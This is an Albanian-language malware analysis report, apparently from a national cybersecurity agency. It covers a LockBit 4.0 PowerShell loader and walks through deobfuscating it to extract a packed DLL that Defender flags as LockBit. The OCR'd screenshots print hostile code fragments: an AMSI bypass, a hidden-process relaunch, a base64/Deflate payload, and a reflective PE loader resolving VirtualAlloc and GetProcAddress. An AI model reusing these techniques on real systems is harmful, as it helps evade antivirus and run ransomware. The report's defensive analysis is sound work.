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Raporti éshté hartuar pér té dokumentuar dhe analizuar tentativa sulmesh kibernetike ndaj
infrastrukturave Kritike dhe té Réndésishme né Republikén e Shqipérisé. Pérmbajtja e kétij raporti
bazohet né informacionet e disponueshme deri né datén e pérfundimit té analizés.

Pércjellja e kétij raporti ka pér géllim informimin dhe ndérgjegjésimin e paléve té interesuara mbi
incidentin kibernetik té dokumentuar. Raporti nuk duhet trajtuar si pérfundimtar deri né
pérditésimin final té tij.

Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:

Burimet e informacionit: Raporti éshté bazuar né informacionet té vendosura né dispozicion né
momentin e pérgatitjes sé tij. Ndérkohé, disa aspekte mund té jené té ndryshme nga zhvillimet
aktuale.

Faza e dyté:

Detajet e analizés: Pér shkak té kufizimeve burimore, disa aspekte té skedarit malinj mund té mos
jené analizuar thellésisht. Cdo informacion shtesé i panjohur mund té reflektojé né ndryshime té
raportit.

Faza e treté:

Siguria e informacionit: Pé&r té mbrojtur burimet dhe informacionet konfidenciale, disa detaje mund
té jené té zbutura ose jo té pérfshira né raport. Ky vendim éshté marré pér té mbajtur integritetin
dhe siguriné e té dhénave té pérdorura.

AKSK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar ¢farédo pjesé té kétij raporti
pa lajmérim paraprak.

Ky raport nuk éshté njé dokument pérfundimtar.

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe analizés.
Nuk ka garanci né lidhje me ndryshime t¢ mundshme apo pérditésime té informacioneve té
raportuara gjaté periudhés né vijim. Autorét e raportit nuk marrin pérgjegjési pér pérdorimin e
gabuar ose pasojat e ndonjé vendimmarrjeje té bazuar né kété raport.



Informacione Teknike

Lockbit 4.0 éshté njé variant i njohur i malware ransomware gé ka fituar popullaritet pér shkak té
efikasitetit dhe shpejtésisé sé tij né kryerjen e sulmeve. Ky lloj ransomware éshté pérdorur pér té
shantazhuar biznese dhe individé pér té paguar njé shpérblim pér té rikuperuar té dhénat gé jané

koduar.

Karakteristikat kryesore té Lockbit 4.0:
1. Shpejtésia dhe Efikasiteti: Lockbit 4.0 éshté njé nga ransomware-t mé té shpejté, i cili ka

aftésiné pér té koduar skedarét shumé shpejt. Kjo e bén mé té véshtiré pér ekspertét e
sigurisé gé té ndalojné sulmin né fazat e hershme.

Shfrytézimi i Double Extortion: Ky malware shpesh pérdor njé tekniké té quajtur "double
extortion”, ku pérve¢c kodimit té skedaréve, hackerét kércénojné té publikojné
informacionin e ndjeshém té prekur nga sulmi nése nuk paguhet shpérblimi.
Autonomizimi dhe Aftésia pér té Pérdorur Kode té Reja: Lockbit 4.0 éshté i afté té
krijojé variante té reja té tij, duke pérdorur sisteme té automatizuara pér té pérmirésuar
kodimin dhe shpérndarjen.

Informacion Teknik:

Metoda e infektimit: Pérdor shpesh shfrytézimin e vulnerabiliteteve né softuerét dhe
aplikacionet e pérdorura gjerésisht, si dhe teknika té inxhinierisé sociale pér té shpérndaré
malware-n.

Enkriptimi i Skedaréve: Pérdor algoritme té forta enkriptuese, si AES (Advanced
Encryption Standard) dhe RSA, pér té koduar skedarét dhe kérkon njé celés private pér
dekodimin e tyre.

Kércénimi i Publikimit: Pérdor shérbime té jashtme pér té mbajtur dhe publikuar
informacionin e vjedhur nése nuk paguhet shpérblimi.

Ransomware-as-a-Service (RaaS): Lockbit 4.0 éshté pjesé e njé modeli "RaaS", ku
krijuesit e ransomware-it ofrojné shérbimin pér kriminelé té tjeré gé mund té pérdorin
softuerin pér té realizuar sulme, duke marré njé pjesé té shpérblimit.

Lockbit 4.0 vazhdon té evoluojé dhe éshté njé kércénim i fugishém pér siguriné kibernetike,
duke kérkuar njé vémendje té vazhdueshme dhe masat e duhura pér mbrojtje.

Analiza e skedarit Lockbit powershell version

Skedari éshté njé skedar i tipit .ps1l (powershell script) .Nése kété skedar e aksesojmé me ané té
Notepad do té shmangim mundésiné e ekzekutimit té tij por gjithashtu ne mund té arrijmé té
dallojmé njé pjesé kodi gé mban funksionin fnD gé merr njé parametér njé vektor té tipit Int64.



1 for ($i = 0; $i -1t $args.count; $i++ ){Sargument += Sargs[$i] + ' '}
2 $psFile=$§PSCormandPath
$global:ProgressPreference = "SilentlyContinue"

4 —- thread varizbles

6 $script:threadBody = 'Sdata=SthreadData;

7 Sdata = @¢(

3 aq ' . ' ' '
@ ' r r ' '
)

2 $am = [ref] .Assembly.GetType('System.Management.Automation.Bmsi' + 'Utils')

3 Ifif ($am) {

4 $am.GetField('ams: '+ ' nitFailed’,

}

if ($psversiontable.PSVersion.Major =-eg ) {$psFile = $MyInvocation.MyCommand.Definition}
[Jif ([IntPtrl::Size -eq 0) {

$psB6 = "5 (Senv ot) \Sy \WindowsPowerShe
$ps86Args = B (' pass', T , S$psFile)
1 if ($argument) {$psB6éRArgs += Sargument}
2 Start-Process $ps86 $psB6Args -Window hidden
exit

-}
Eﬂfuncticn fnD([Int64[]1] $ints) {

o

6 SwSize =
7 [byte[]11$dB = New-Object bytel] ($ints.length * jwsize)
— for ($i = 0; $i -1t $ints.Count; $i += 1) {
= for (33 = 0; $3 -1t Swsize; $3 += 1) {
$dB[$i * $wsize + $3] = ($ints[$i] -band )

31 Sints[$i] = ($ints[$i] - $dB[%i * SwSize + $31) /
32 - }

33 e }

34 return [Text.Encoding]::RSCII.GetString($dB)

Figura 1 Skedari powershell

Cikli “for” gé vazhdon rangun e argumentave gé merren si parametér nga terminali. Variablit
$global:ProgressPreference i vendoset vlera SilentlyContinue me géllim gé gjaté ekzekutimit
té scriptit pérdoruesit mos ti shfaget vizualisht se ¢faré po ndodh.

Pjesa mé interesante éshté pérmbajtja e variablit @data, e cila pérmban shifra nga mé té
ndryshmet.Variabli $am kontrollon nése klasa AmsiUtils ekziston. Nése klasa ekziston, kodi
vazhdon dhe ndryshon vlerén e amsilnitFailed né True.

Kjo pérdoret pér té caktivizuar AMSI né powershell. AMSI éshté njé feature sigurie né Windows
gé lejon softuerét antimalware té analizojné komandat dhe skriptet e PowerShell-it pér géllime
keqdashése. Mé pas vijohet me kontrollin e versionit kryesor té Powershellit dhe né kété rast
kontrollohet nése éshté versioni 2.

Pércaktimi i PowerShell-it 32-bit né njé sistem 64-bit.
$ps86 = ""$($env:SystemRoot)\SysWOW64WindowsPowerShell\v1.0\powershell.exe"

Né kété fazé ka nisur njé proces i ri né powershell i tipit hidden ( i fshehur).

Funksioni fnD éshté funksioni i cili merr parametér njé njé listé té numrave Int64 dhe
transformimin né njé varg tekstual (string) duke pérdorur kodimin ASCII. Pérdor operatorin
bitwise AND pér té ruajtur vetém 7 bitet mé té ulét t& njé numri (standart pér ASCII). Byte
pérpunohet dhe ruhet né vektorin $db.

Problemi né kété rast éshté né ciklin for né fund té skedarit pasi aty népérmjet iex(Invoke-
Expression) béhet thérritja e funksioneve. Prandaj na duhet njé ményré pér ta béré bypass.



-ifor ($i = 0; $i -1t $data.Length; $i += 1) {

T

# Initialize variables
o
$scb = New-Object String[]($data.Length)

# Process and log the $c content without executing

try {
$decoded = fnD $data[$i]
$scb[$i] = $decoded
$c += ""$scb[$i];" # Append decoded data to $c safely
Log "Decoded data chunk [$i]: $decoded"
} catch {
Log "Error decoding data chunk [$i]: $_"

}

# Output the entire $c variable content for inspection
Log "Final content of \${c}: $c"

# Print the content to console for easier debugging

Write-Host "Decoded script content (debug mode, not executed): n$c" -ForegroundColor Yellow

# Log completion
Log "Script finished in debug mode."

Figura 2 Skedari i modifikuar

Modifikojmé kodin duke vendour variablin $c duke i vendosur vlerén e variablit $scb[$i] nga
cikli for dhe mé pas pasi del nga cikli afishojmé outputin e saj me ané té Log.

b;cBAQEJ;E;{pé conteﬁt (debug mode, not :xe;uted)
$scb[0]; $scb[1];

Ps c:\users\flare> $scbh[0]
function Exec {
[cmdletBinding()]
Param

)

[Parameter (Position
[Parameter (Position
[Parameter (Position
[string] $FuncrReturn
[Parameter (Position
[Parameter (Position
[Parameter (Position
[switch] $ForceAsLRr,
[switch] $DoNotzeromz

mandatory = $true)][validateNotNullorempty()][Byte[]] $PEBytes,
[string[]] $ComputerName,
validateset( ‘wstring’, "string’, "void' )]
‘void”,
string] $ExeArgs,
Int32] $Procid,
string] $ProcName,

(T T
whw:é N O
DO B e

]
]
]
]
]

L
[
L
L

set-strictMode -version
$RemotescriptBlock = {

[cmdletBinding()]
Param(
[Parameter (Position
[Parameter (Position
[Parameter (Position
[Parameter (Position
[Parameter (Position

Mandatory
Mandatory
Mandatory
Mandatory
Mandatory

$true)][Byte[]] $PEBytes,
$true)] [string] SFuncReturnType,
Strue)][Int32? $Proctd
$true)][string] $ProcName,
$true)][Bool] $ForceAsLR

Function GTypes {
$win32Types = New-Object System.Object
$pomain = [AppDomain]::CurrentDomain
$DynamicAssembly = New-Object System.Reflection.AssemblyName(’DynamicAssembly")
$AssemblyBuild $pomain. DefineDynamicAssembly ($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule(’DynamicModule’, $false)
$constructorInfo = [System.Runtime.Interopservices.MarshalAsAttribute].Getconstructors()[0]
$TypeBuilder = $ModuleBuilder.DefineEnum('MachineType’, ‘Public’, [UIntl6])
$TypeBuilder.DefineLiteral ('Native’, [UIntl6] 0) | out-Null
$TypeBuilder.DefineLiteral ('1386", [uInt16] 0x014c) | out-Null

Figura 3 Kodi né runtime powershell

Né kété ményré arrijmé té evidentojmé kodin se ¢faré do té ekzekutohet mé pas. Outputi éshté njé
kod mijaft i gjaté té cilin mund ta ruajmé né njé skedar té ri me prapashtesén .psl dhe mund té
studiojmé funksionalitetet e tjera qé ka.



" Untitled1.ps1 [ alleditor.ps1 X

1 Efunction Exec {

2 ‘ [CmdletBinding()]

7 Param (...)

Set-StrictMode -Version 2

$RemoteScriptBlock = {
[CmdletBinding()]

3R

$true)] [Byte[]] $PEBytes,
$true)] [String] $FuncReturnType,
$true)][Int32] S$Procid,

$true)] [String] $ProcName,
$true)][Bool] SForceASLR

Mandatory
Mandatory

r(Position 0,
i,
2, Mandatory
3,
4,

r(Position
r(Position
r(Position
eter (Position

Mandatory
Mandatory

Function GTypes {...}
Function GConst {...}
Function GFncs {...}
Function SIAUU {...}
Function SIAU {...}
Function CVGTVAU {...}
Function TMRV {...}
Function wB™ {...}
Function GDelT {...}
Function GPAddr {...}
Function CRT {...}
Function GINTH {...}
Function GPBI {...}
Function GPDI {...}
Function IDRP {...}
Function GRPA {...}
Function CpySel {...}
Function UMMADD {...}
Function IDLIMP {...3}
Function GVEPRVL {...}
Function UMPFG {...}
Function UEXFN {...}
Function CPAROMMADR {...}
Function GMMPRADR {...}
Function IMMLOLR {...}
Function IMMFRLE {...}
Function Main {...}

Main

Function Main {...}

Main
1926 | }#Exec()

1928 @ function Do-Exec($Payload, $Len) {...}

1941 5 Do-Exec -Payload ... -Len '124416'

Figura 4 Faza e dyté powershell script

Skedari i ri ka njé numér mjaft té larté funksionesh dhe ajo ¢faré éshté interesante éshté emri i tyre
random pa njé kuptim, né kété rast aktorét keqdashés fshehin emrat e funksioneve gé ta béjné mé

té véshtiré zbulimin nga antiviruset por dhe nga procesi i reverse engineering.

Funksioni i paré gé nis zinxhiri i ekzekutimit, éshté funksioni Do-Exec i cili merr si parametér

parametrin -payload dhe gjatésiné me vleré 124416.

| uveXl /z9X1+Dg/rai7foQkiS5FIIMHHaBSIEKWCKUX/2qLwqVbveDXRoUq/1k+06Ptr /UGhE2Y4h0+FOn76gMnOYOZNmTIV4zx6nPNO7RTRCVOcvTv70U+e0nZci6pVK7uY41Cr
| RKK+FtaiAy033]jbHmyMS51697 UUOmEmOhIAIbOXb7CuyEWIChgu2LRSIrETsu24r cxawwOXFEOKOUAT IMIVIIXhT1yuA+3UKk/meFdBal5 1XFZpgFy01v1EmZIZ /h/+ROC8242Rp
s53uZyuVtIVyESkmLRCNbTBA8rgNzI+HHGtueFp/6mz521GaUSHRIIGTN/PWr6E+]/yOEbyJFKL61 cH4EtoM+8ZFcI1zwaNcIDgU43xjbA3 /hb/q4SVPHiFgdUV21qmGb9Ym/7v
| +kK37b/619Sr IsNpjLH+DHGWScr12VdM5Xoa3CqaRF94cNCTqiEBXdS 7LoclydIdvet 7wmnOCMUW+VM+y ] 33rPsIZvO3Mt ISXLBE 10uT /v20NU3 25Pq6kdNc/APFxWhkXKX21N
[ XhEOBkZwsE9SQH6E0T0Q+85gctYrRX4DwiwC5T8UpSBfSvmgs JhkTSVSWoE87 eWQYalhNoEeS 3Ey 1 TApO1ks T3uHk /KWXHrK+ar YZKScqcqlwAnxUbkG838ajcaQkBB5 vRhW4GNV
| QxxFOPIWoWhmR6vgV1M8QxIawauNv15SxPnKygXpFpLgcbXccdGLKIQVHW47qaTTg3RSyWZZDOXFSEWGPUIbI71cAKVS JyXHW14PRS00d3Is]/pwkMryzP1KucGy6Ja40E2LbHU
pkt7aloLcCey8v0cyznNa6WeP88f cEUwv8yXkxC+avoCL9QeXaxcsM2KTtbedMyOECCqGDIMTEKIr7 ja9Cr 6Hzr IK0aU7 3 /ydKBMQZ 2r50P38AzxuI0IublhayIwRnLXcalDu9DC
+510ARw81TcD3gjIMpUL1ckKIRjTcpBjQPaex5Q88k7 32WTa0LgMydr syQIHBVES pdSZATqZ 1geaaHZVZC /wTty4Skp011kyePqw1FRQkDE7 jUBGGX+z0hMCH2vPZ IykOFZag+q
ui0OhYKr5 JHCMmBqd9H5 EpTBD1UQoD9VUmoOtkr eeawpSrXP+Grnvi47jima97vuPFaZz91vvLEL+8L7Mnfyb94 /Vxg4cyEN8BqujMuf4MOK4WIMjGjoqvS]eRpemi UnwWFumDSxI7
41yzuSrIjt513FKVZ755IWPrGnFQK]+Z2A5KxWdQoSkGs d5 uWLOMgXFBIVwl+ZFM+ZE7ptzHSzr Gu3RKyVPozknYiV/FnTrGe3YIjr8e/yo5R5xsECc/tk7015Q/1VQurXym8sM
INksWiJeMtzD61ugXWGp,/DgzGRRzGPTIdR93ZkOL TRISM7Nbdy3tXoqqHT89d1b169+m7K9IG3X3 /1rsQBA/0G7Uoc7B8QuUCtxyNBRo3c1jhk7LmRX4vjQCWG7E1dOmjx1V+LUSG
nTdyX00Ghn7kqcNTt1zg5E95atPHY1tm7 Ttt2uxPYdmn21i1gLShanKuEiFbr IEpFWbBgWbx3vbxE/QhyfE/8y/n1UrmXUY3nUk67IvBgFSDawk jwWV35Q+a785Ib8yCV/vfZky
KRVVEtL+ZFr8iNX4plaxXu2HCGOrIeoFcsqqbtOk0ssI9ZTERGZZWTIOZVOPkZVibaISwtloyugUpTVgczclo3Incdtg4VX1GddkfZt7GIN/ah5dY2dtdwwKe2stUnCUCcyyARH
qyQCQ+80DJeq2T1Tk5eI+KL3R10nHEL9kX8ANOdH+7bCI5e4A9+6Uiut]c50Md0Kez0qspT1X8IFUvK2mcOVXT1s10cPkrDc5y3VGsbZyYmvB2RChK7XWVos1wsnT5 BRCTnIKXZm
1MXIbaHKjoF1Mb11MbpZw62pyaborriyKbqzIgRY5Ia0iWcho5ZnSRPSSC3CCtkZsE3g5K6eCU3gn8pbmfcOUlv+FpT05+DoNOSsTqY7MBD6Ehw4hi cNFaDRHkuYObUMndyWuTp
| p1301KmmLevZnUOrQbgj5110GCz0kaSSTsWg3QRUpFmrpgKOhqsFCGEDYIRNr 1 ENO8r9LhGps0i ddwlGITuxwIH/zX+0v/Wmmat1epgCwA46HQb4A/FOSdpd4KEYEFpSZwojhVyY
| dzgYr2qUB1KbjxNotIUJdQm3K179Im9ra00wkyVeSuPHRp/7FDzI4cUXpHyVAFEGRA7DKs507GR220kLVRhr qwPAGWX4bgEUmMSSLqcgl j YbHYI+Ngf0g0sW9inmnsZGTzSTRNAI
hY1M2CiEJZ2wcRA2TsLGWd 1 4CBtXYeMmbNyFTWth017YeAobpbDxFjY9hULlfYaMWNoOETaCwGSS sRgqbs cImVNAME jbhwkY jbGYLm3mOKRUZ VK3 VmYB8TEU2HQY1 80NwIkz0sas
| XXP/CMxVIqCpusPQY1Y9cIZLbinXICtOZRS8MKS+Dy67Ph7EsSCEMeiyEFOCIFKp1HyBje6cQpfGQVORPMIvwI9vi Sv2r /xU/Rt+8kT/2s8vF8PP5r/h]/Iv+BnyN/y0oY4rok
6kafxPfRqldv58IdbnDBPm]6ytr4WL38dNFZKRGIZ9/1/esNN1QLFIWhgKx530VG5qlZ1gaaZzalqnGvl2m2iFT7ZSpds5Uu25gXTPVbplq90x160x1+0ylZ6Zaman2z1T3zFT3z
VSrMowWDMtWBmerhmeqRmegxmerQTPWkTHV4p1qTqZ6dqZ4npIKIeTFnyw2RcNOKXITMUEEYKHEM12rO1nEDFNwQO26aAxfh5KiGu51juIPjbCdugDM3xIWb5 spFuDmgnRODXRzD
XR1nu3ED3Lkhrb1p7bkITOelu2Nga8fw906zPbkBSm6INzet IxfR11GtdAZz0dgzv6T1 7L 2dAZzQOZXEOL5CKGO6r V] oGDHMMDHWCP 5waM5 IaM5 aaF chGTHNUjHQPHOoaHOs 6exA0
I54ZouGmzuYh3 jupwx0OCNY /hsx9nz5LpOkbnOP1igNrcI2UGIbLrwtwWBpbNdztbMMdbCulx1btbBvoYhvualuxNLZqd9vAlrbh7WOr 1sZWrbQNILYN721bsTS2arVt4CDbSEDbiq
| WxVY+0DRXrGx5qW7 EOtupw20CNbfhs29nzs076F /rCVeww2f /XK+x2zM /5 /4VUx6gkz0511XRam+1Z5X7439+PmURdjAZ4Ly027GBtMc309t7PIUMQhtpFYWVeRVgos T1WtJoaDN
Rwgw6EaHN1 YkWvBxgwadOQxXANMzSuMH1 6F TIScmYubnIsr c3Ev5+IGewOtVKew11v6KeQKf2e5 YoS7XBGi TCumqOWKmSP 11 vnh3CkKSaMbPvOV+Apwx 1ewd77GK/ELVY2ViWSPxX
| t0CeXf6hZx/v3188B5Dn4PCOWKdSWtdaMD3F9iTTuPWUmMFzhhSz00Rb8kIVh4ahCSmkanTSVUna6IPxvpoGvMe02kdxmkNvccukawoUEEaM1Pn002VO /RDZ1GCKb+1UTSU6zvGm

I Do-Exec -Payload '7LOLXIXS5//8/TVMNhpkoyoYQG2IjZ2GokVMMUTkkxySnMIMQZQplGVrrtLu0i2WdlImOTaxywMgxXSGEKIMSotA2vIf7c82k2Pu+977vx//7/F9/F29mr

Figura 5 Thérritja e funksionit do-Exec



=
28 5 function Do-Exec($Payload, $Len) {

29 $zipBytes = [System.Convert]::FromBase645String($Payload)

30 $ms = New-Object IO.MemoryStream

31 $ms.Write(SzipBytes, 0, $zipBytes.Length)

32 $null = $ms.Seek(0,0)

33 $ExeImage = New-Object Byte[](5Len)

34 $ds = New-Object IO.Compression.DeflateStream(8ms, [System.IO.Compression.CompressionMode]::Decompress)
35 $null = $ds.Read($ExeImage, 0, SLen)

36 $ds.Dispose()

3/

38 Exec -PEBytes SExeImage

39 |1}

40

Figura 6 Implementimi i funksionit Do-Exec

Ajo c¢faré ne mund té béjmé né kété fazé éshté gé té marrim payload-in gé kalon si parametér dhe
ta tentojmé ta ekstratojmé si skedar né kompjuterin toné.

PS C:\windows\system32> C:\Users\flare\Desktop\ransomware.psl

ndows\system32> C:\Users\flare\Desktop\ransomware.psl

1 to: C:\Users\fl scompressed. exe

PS C:\windows\system32>

Figura 7 Ekstraktimi i payload

Nga ekstraktimi pér té béré verifikimet nése kjo exe apo dll éshté né kété format kontrollojmé
vlerat hexadecimal té Kkétij skedari té ekstraktuar. Si duket dhe foto duke paré headerin
evidentojmé 4D 5A dhe né Kkété rast kemi té bé&jmé me njé skedar té ekzekutueshém ose njé
dynamic link library (DLL).

File Edit “iew Layouk  Extras

Hex editor
Address 0l 0z O3 04 A5 06 @7 @5 09 @A OB QC @D O

Spla@ oo @3 FF

I..L.ITh
is program canno

ﬁDdE.
FE. . L

Figura 8 4d5a magic bytes



Detect It Easy v3.07 [Windows 10 Version 2009] (x86_64) — O X

File name

C:\Users\flare\Desktop\decompressed.exe

File type File size D e
PE32 121.50 KiB

Scan Endianness Mode Architecture

Automatic IE 32-bit 1386

* PE32
Linker: Microsoft Linker(14.12)[DLL32]

Shortcuts

Options
Signatures v/ Recursive scan v Deep scan I:‘ Heuristic scan / Verbose About
Scan
Directory 100% r Log I:‘ All types 41 msec Exit

Figura 9 Skedari dll

Kur kontrolluam entropiné e skedarit evidentuam sé ka sektoré té saj té cilat kané vlera mbi 7 té
cilat tregojné se kemi packim té kodit. Nése kété skedar e vendosim né njé sistem operimi
Windows me Windows Defender té aktivizuar, do té dallojmé se antivirusi éshté né gjéndje ta
identifikojé si ransomware Lockbit pér shkak té signaturés sé skedarit.

Threat guarantined
1/8/2025 %:59 AM

Severe ™

Detected: Ransom:Win32/Lockbit HAIMTE
Status: Quarantined
Quarantined files are in a restricted area wheare they can't harm your device. They

will be removed automatically.

Date: 1/8/2025 9:59 AM
Details: This program is dangerous and executes commands from an attacker.

Affected items:

file: ChUsers’ Desktop\decompressed.exe

Learn more

Actions

Figura 10 Lockbit Ransomwar



Funksioni Do-Exec merr 2 parametra . Variabli payload éshté njé varg karakteresh mjaft i gjaté i
cili ruhet né variablin $zipBytes dhe konvertohet nga base64 string dhe ruhet né njé variabél té ri
$Exelmage qé éshté njé vektor me byte.

Evidentohet thérritja e funksionit Exec, i cili &shté funksioni mé i réndésishém i skedarit
keqdashés.

Param - Pércakton parametrat gé funksioni pranon.

-Ifunction Exec {

[CmdTetBinding()]
-] Param (
[Parameter(Position = 0, Mandatory = $true)][validateNotNullOrEmpty()][Byte[]] $PEBytes,
ameter (Position = 1)][String[]] SComputerName,
[Parameter (Position = 2)][ValidateSet( 'WString', 'String’', 'Void' )]
[String] $FuncReturnType = 'Void',
[Parameter (Position = 3)][String] $ExeArags,
arameter (Position = 4)][Int32] $Procld,
eter(Position = 5)][String] $ProcName,

fSwifch] SForceASLR,
[Switch] S$DoNotZeroMZ
)
Set-StrictMode -Version
-] $RemoteScriptBlock = {

n

[CmdTetE ing(}]
= Param(
[Parameter (Position = 0, Mandatory = $true)][Byte[]] $PEBytes,
[Parameter (Position = 1, Mandatory = $true)][String] $FuncReturnType,
[ er (Position = 2, Mandatory = $true)][Int32] S$Procid,
[ =ter (Position = 3, Mandatory = $true)][String] $ProcName,
[Parameter (Position = 4, Mandatory = $true)][Bool] SForceASLR

Rl A L e S N a1

Figura 11 Funksioni Exec

[Byte[]] SPEBYytes - Ky éshté njé parametér i detyrueshém qé pérfagéson njé vektoré me byte té
cilét do té pérdoren pér té krijuar procesin.

[String[]] $ComputerName - Njé varg karakteresh (emri i hostit) ku do té ekzekutohet ky kod.
Ky parametér éshté opsional.

[String] $FuncReturnType - Pércakton llojin e kthimit té€ funksionit, me vlerat e mundshme
'WString', 'String’, ose 'Void'. Vlera e paracaktuar éshté 'Void'".

[String] $ExeArgs - Argumentet gé do t'i kalohen ekzekutuesit. Ky éshté njé parametér opsional.
[Int32] $Procld - ID e procesit gé do té pérdoret. Ky parametér éshté opsional.
[String] $ProcName - Emri i procesit gé do té pérdoret. Ky éshté gjithashtu opsional.

[Switch] $ForceASLR - Njé parametér switch gé, nése vendoset, do té detyrojé aktivizimin e
Address Space Layout Randomization (ASLR).

[Switch] $DoNotZeroMZ - Njé parametér switch gé, nése vendoset, do té parandalojé zerimin e
fushés MZ (header i skedarit té ekzekutueshém).



Set-StrictMode -Version 2 - Aktivizon trajtimin e gabimeve, duke ndihmuar né zbulimin e
gabimeve né kod.

Implementimi kryesor i funksionit Exec ndodhet brenda variablit $RemoteScriptBlock, e cila ka
té implementuar njé total prej 28 funksionesh.

(

)

- ({13{23{33{0}"-f'riAblE", "set-","v',"a") ("HO"+"u") ( [TyPe]("{0}{1}" -f'Ap’,'PdoMaiN’) ) ;
SunsafeNativemethods = $Systemassembly.GetType('Microsoft.win32.unsafeNativeMethods ')
$GetmoduleHandle = $unsafenativemethods. GetMethod('GetModuleHandle')

$GetProcaddress = Sunsafenativemethods.GetMethod('GetProcaddress’, [reflection.bindingflags] "Public,static”, $null, [System.Reflection.callingConventions]::Any, @((New-Object System.Ri
$kern32Handle = $GetModuleHandle. Invoke($null, @(Smodule))

$tmpPtr = New-Object IntPtr

$HandTeref = New-Object System.Runtime.Interopservices.Handleref(StmpPtr, $Kern32Handle)

write-output $GetProcAddress.Invoke($null, @([System.Runtime.Interopservices.Handleref]$Handleref, SProcedure))

Ty
Function Gpaddr {

[outputType([IntPtr]l)]

[Parameter( Position = 0, Mandatory = $True )]
[string]
Smodule,

parameter( Position = 1, Mandatory = $True )]
[string]

$procedure

${sys Te mas sem8 Ly} = ( &("{3}{2}{0}{1}"-f'T', -vAriable’,’e’,

("HO"+"u") ). vALu

1

Figura 12 Funksioni GPAddr

. Param - Pércakton parametrat gé funksioni pranon.

o [String] $Module - Emri i modulit (DLL) nga i cili do t& merret adresa.

o [String] $Procedure - Emri i procedurés pér té cilén duhet té merret adresa.

2. Manipulimet e variablave dhe inicializimi - Funksioni pérmban manipulime komplekse
té variablave dhe inicializime té reflektimit pér té gjetur dhe pérdorur metodat nga
assembly té sistemit né ményré dinamike. Pjesét si "{1}{2}{3}{0}" dhe té ngjashme jané

4

pérdorur pér té ndértuar emrat e komandave dhe té metodave né ményré té koduar
Ngarkimi - Kodi kérkon System @& pérmban metodén UnsafeNativeMethods nga

Microsoft.Win32, gé lejon gasje né metoda té rrezikshme si GetModuleHandle dhe

GetProcAddress.

. Metodat pér trajtimin e moduleve dhe procedurave:

o $GetModuleHandle - Merret metoda GetModuleHandle

o $GetProcAddress - Merret metoda GetProcAddress gé kthen njé tregues pér

procedurén specifike né modulin e dhéné.

Ky funksion éshté projektuar pér té pérdorur metoda té rrezikshme nga UnsafeNativeMethods,

duke

lejuar akses té drejtpérdrejté né adresat né memorie.

Function GFNcs
$win32Functions = New-Object System.Object
$virtualallocAddr = GPAddr kernel32.d11 virtualalloc
$virtualallocpelegate = GDelT @([IntPtr], [UIntPtr], [UInt32], [uInt32]) ([IntPtrl)
Svirtualalloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer (Svirtualallocaddr, $virtualallocbelegate)
Swin32rFunctions | Add-Member NoteProperty -Name VirtualAlloc -value $virtualAlloc
SvirtualAllocExAddr = GPAddr kernel32.d11 virtualallocex
SvirtualallocexDelegate = GDelT @([IntPtr], [IntPtr], [uIntPtr], [uInt32], [uInt32]) ([IntPtr])
$virtualallocex = [System.Runtime.InteropsServices.Marshal]::GetDelegateForFunctionPointer ($virtualallocexaddr, SvirtualalloceExpelegate)
$win32Functions | Add-Member NoteProperty -Name VirtualAllocex -value Svirtualallocex
$memcpyAddr = GPAddr msvcrt.dll memcpy
SmemcpyDelegate = GDelT @([IntPtr], [IntPtr]l, [uIntptr]) ([IntPtr])
Smemcpy = [System.Runtime.InteropServices.marshal]::GetDelegateForFunctionPointer (SmemcpyAddr, SmemcpyDelegate)
$win32Functions | Add-Member -MemberType NoteProperty -Name memcpy -vValue Smemcpy
SmemsetAddr = GPAddr msvcrt.d11 memset
$memsetDelegate = GDelT @([IntPtr], [Int32], [Intptr]) ([IntPtr])
Smemset = [System.Runtime.InteropServices.marshal]::GetDelegateForFunctionPointer (Smemsetaddr, SmemsetDelegate)
$win32runctions | Add-Member -MemberType NoteProperty -Name memset -Value $memset
SLoadLibraryaddr = GPAddr kernel32.d11 LoadLibrarya
SLoadLibrarypelegate = GDelT @([string]) ([IntpPtr])
SLoadLibrary = [System.Runtime.InteropsServices.marshal]::GetDelegateForFunctionPointer ($LoadLibraryaddr, SLoadLibrarybelegate)
$win32Functions | Add-Member -MemberType NoteProperty -Name LoadLibrary -value SLoadLibrary
$GetProcAddressAddr = GPAddr kernel32.d11 GetProcAddress
$GetProcAddresspelegate = GDelT @([IntpPtr], [String]) ([IntPtr]l)
$Getprocaddress = [System.Runtime. InteropServices.Marshal]::GetDelegaterForFunctionPointer ($GetProcaddressaddr, $GetProcAddressbelegate)
$win32Functions | Add-Member -MemberType NoteProperty -Name GetProcAddress -value $GetProcAddress
SGetProcAddressIntPtrAddr = GPAddr kernel32.d11 GetProcAddress
SGetProcAddressIntPtroelegate = GDelT @([IntPtr], [IntPtr]) ([IntPtr])

$GetProcAddressIntPtr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer (3GetProcAddressIntPtrAddr, $GetProcAddressIntPtrDelegate)
Swin32runctions | Add-Member -MemberType NoteProperty -Name GetProcAddressIntPtr -value $GetProcAddressIntPtr

SvirtualFreeaddr = GPAddr kernel32.d11 virtualFree

$virtualFreebelegate = GDelT @([IntPtr], [UIntPtr]l, [UInt32]) ([Booll)

SvirtualFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer (SvirtualFreeAddr, SvirtualFreeDelegate)

Swin32runctions | Add-Member NoteProperty -Name VirtualFree -value SvirtualFree
SvirtualFreeExAddr = GPAddr kernel32.d11 virtualFreeEx

Figura 13 Funksioni GFnc




Marrim si rast né funksionin GFncs.

GPAddr: Eshté funksioni i krijuar mé paré gé merr adresén e njé proceduré nga njé modul
specifik.

kernel32.dll: Ky éshté dll e Windows gé pérmban funksione bazé té sistemit operativ, pérfshiré
VirtualAlloc.

VirtualAlloc: Ky éshté njé funksion qé pérdoret pér té rezervuar ose pér té dhéné hapésiré
memorie né hapésirén virtuale té procesit thirrés.

${WIN32FEUENCtIE0ENS} | &("{2H{1}{0}"-fber','d-Mem',;'Ad") ("{1HOH{2}{3}"-
f'otePrope’,'N','r','ty") -Name ("{OH1}HBH2}{4}" -f'Vi','rtualP','e','rot', 'ct’) -Value
${VIRETUEAIPREOTEECLt}

